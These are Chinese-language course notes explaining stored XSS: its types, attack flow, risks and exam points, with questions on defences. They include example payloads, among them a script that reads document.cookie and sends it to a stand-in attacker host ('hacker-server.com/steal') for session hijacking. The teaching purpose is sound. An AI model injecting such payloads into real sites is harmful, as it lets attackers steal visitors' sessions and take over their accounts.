课程笔记:存储型XSS跨站脚本攻击
课程名称:计算机网络应用 核心摘要:本讲深入讲解 XSS 跨站脚本攻击中的存储型(持久型)XSS,对比三大 XSS 类型的本质区别,剖析攻击者将恶意 JavaScript 脚本经 Web 应用持久化到数据库的完整流程,揭示其"隐蔽、长期、无需手动触发、波及全站用户"的危险特性,并以窃取 Cookie 为例说明会话劫持的危害。
一、 核心概念与原理
1. XSS 跨站脚本攻击三大分类
| 类型 | 别名 | 是否持久化 | 存储位置 | 危害程度 |
|---|---|---|---|---|
| 存储型 XSS(Stored XSS) | 持久型 XSS、Persistent XSS | 是 | 数据库 / 其他存储介质 | 最高 |
| 反射型 XSS(Reflected XSS) | 非持久型 XSS | 否 | 内存(随请求-响应即时触发) | 中 |
| DOM 型 XSS(DOM-based XSS) | 非持久型 XSS | 否 | 内存(前端 DOM 解析触发) | 中 |
2. 存储型 XSS 核心定义
- 存储型 XSS 又称持久型 XSS:攻击者将包含恶意脚本的 JS(JavaScript)代码上传到 Web 应用程序,由后端程序将其持久化保存到数据库中。
- 只要前端页面动态加载该数据,恶意脚本就会被浏览器解析并执行。
- 由于数据落库,攻击长期有效,无需用户手动触发,访问即触发。
3. 本质区别(存储型 vs 反射型 / DOM 型)
- 存储型:必涉及持久化,恶意脚本写入数据库,长期驻留。
- 反射型 / DOM 型:非持久性,仅存在于内存中,随页面即时生成、即时触发,不落库。
二、 技术细节与协议分析
1. 存储型 XSS 攻击流程
┌──────────┐ ① 上传恶意JS脚本 ┌──────────────┐ ② 持久化存储 ┌──────────┐
│ 攻击者 │ ──────────────────▶ │ Web 应用程序 │ ──────────────▶ │ 数据库 │
│ (黑客) │ │ (Java Web等) │ │(持久化) │
└──────────┘ └──────────────┘ └──────────┘
▲
│ ③ 普通用户发起HTTP请求加载动态数据
│
┌──────────────┐
│ 普通用户A/B/C/D│
└──────────────┘
│
▼ ④ 服务端返回含恶意脚本的页面
┌──────────────┐
│ 浏览器渲染解析 │ ──▶ ⑤ 恶意脚本被执行
└──────────────┘ │
▼
Cookie 窃取 / 会话劫持 / 流量劫持
2. 攻击环节逐步拆解
| 步骤 | 主体 | 动作 | 说明 |
|---|---|---|---|
| ① | 攻击者 | 提交恶意脚本 | 通过输入框 / 提交表单(留言板、评论区)上传含恶意 JS 的 payload |
| ② | Web 应用 | 持久化存储 | 后端未过滤,将恶意脚本存入数据库 |
| ③ | 普通用户 | 访问正常网页 | 浏览器向服务端发起请求,加载动态数据 |
| ④ | 服务端 | 返回页面 | 生成新页面时包含库中的恶意 JS 脚本 |
| ⑤ | 浏览器 | 渲染解析执行 | 恶意脚本在前端被解析并执行,用户中招 |
| ⑥ | 攻击链扩展 | 危害扩散 | 几乎所有访问该页面的用户(A/B/C/D…)均受攻击 |
3. 存储型 XSS 的危险特性
- 最危险的一类 XSS 脚本攻击
- 更隐蔽:藏于数据库,不易被察觉
- 长期性:落库后长期有效,直至数据被清理
- 无需手动触发:只要加载 Web 应用即自动执行
- 波及面广:访问该页面的几乎所有用户都会中招
4. 典型应用场景
- 博客 / 论坛的留言系统、评论区
- 新浪微博早期曾发生此类 XSS 攻击
5. 危害能力(可实施的攻击行为)
- 恶意脚本植入(script injection)
- 流量劫持(traffic hijacking)
- 执行第三方脚本
- 窃取 Cookie → 进一步实现会话劫持
三、 实践应用与配置命令
1. 简单演示:弹出警告框
<!-- 经典弹窗测试 payload,验证 XSS 漏洞是否存在 -->
<script>alert('XSS')</script>
操作步骤:
- 打开留言系统 / 报名留言页面
- 在输入框(留言区)
Ctrl+V粘贴上述 payload - 提交后,恶意脚本被存入数据库
- 任意用户加载该留言时,浏览器弹出警告框
2. 危险演示:窃取用户 Cookie
// 读取当前用户的 Cookie 信息(包含会话凭证 Session ID)
<script>alert(document.cookie)</script>
3. 进阶攻击:盗取 Cookie 并发送至黑客服务器
// 攻击者植入恶意脚本:获取 Cookie 后,悄悄外发到黑客接收地址
<script>
// 1. 通过 JS 获取受害者的 Cookie(登录凭证)
var stolenCookie = document.cookie;
// 2. 将 Cookie 信息发送到攻击者控制的服务器
new Image().src = "https://hacker-server.com/steal?cookie=" + encodeURIComponent(stolenCookie);
</script>
4. 危害链路:从 Cookie 到免密登录
窃取 Cookie ──▶ 获取 Session ID(登录凭证) ──▶ 绕过用户名/密码 ──▶ 以受害者身份登录
原理说明:
- 用户登录后,服务端将登录信息存入 Session。
- Session 依附于 Cookie(通过
JSESSIONID/PHPSESSID等 Cookie 传递)。 - 攻击者拿到 Cookie 即可拿到 Session ID,无需输入用户名和密码即可冒充受害者完成登录。
四、 重点与难点提示
重点考点
- XSS 三大分类及各自别名(存储型/反射型/DOM型;持久型/非持久型)。
- 存储型 XSS 的核心特征:持久化、长期有效、无需手动触发、波及全站用户。
- 存储型与反射型/DOM 型的本质区别:是否涉及持久化(落库)。
- 存储型 XSS 的高发场景:博客、论坛、留言板、评论区等用户输入并被展示的功能。
- Cookie 与 Session 的关系:Session 依附于 Cookie,窃取 Cookie 即可会话劫持。
易错点
- 混淆存储型与反射型的触发方式:存储型是"存一次,触发多次";反射型是"点一次,触发一次"。
- 误以为存储型 XSS 需要用户手动点击链接才触发——实际加载页面即触发。
- 忽视后端过滤的重要性:存储型 XSS 的根源在于后端未对输入做净化就直接入库。
典型面试题
- 简述 XSS 跨站脚本攻击的分类及其区别。
- 为什么说存储型 XSS 是危害最大的一类?
- 描述存储型 XSS 的完整攻击流程。
- 攻击者如何利用 XSS 实现"免密登录"?涉及 Cookie 与 Session 的什么关系?
- 针对存储型 XSS,应从哪些层面进行防御?
五、 课后疑问/遗留问题
- 下一讲预告:将实战演示黑客如何盗取用户 Cookie 信息,并利用该 Cookie 在不输入用户名和密码的情况下直接完成登录(会话劫持完整复现)。
- 思考题:
- 后端在入库前应如何对用户输入进行过滤 / 转义,以阻断存储型 XSS?
- Cookie 设置
HttpOnly属性能否阻止document.cookie读取?为什么? - CSP(内容安全策略)对存储型 XSS 的防御作用体现在哪里?
- 反射型 XSS 与 DOM 型 XSS 的具体触发差异将在后续课程如何展开?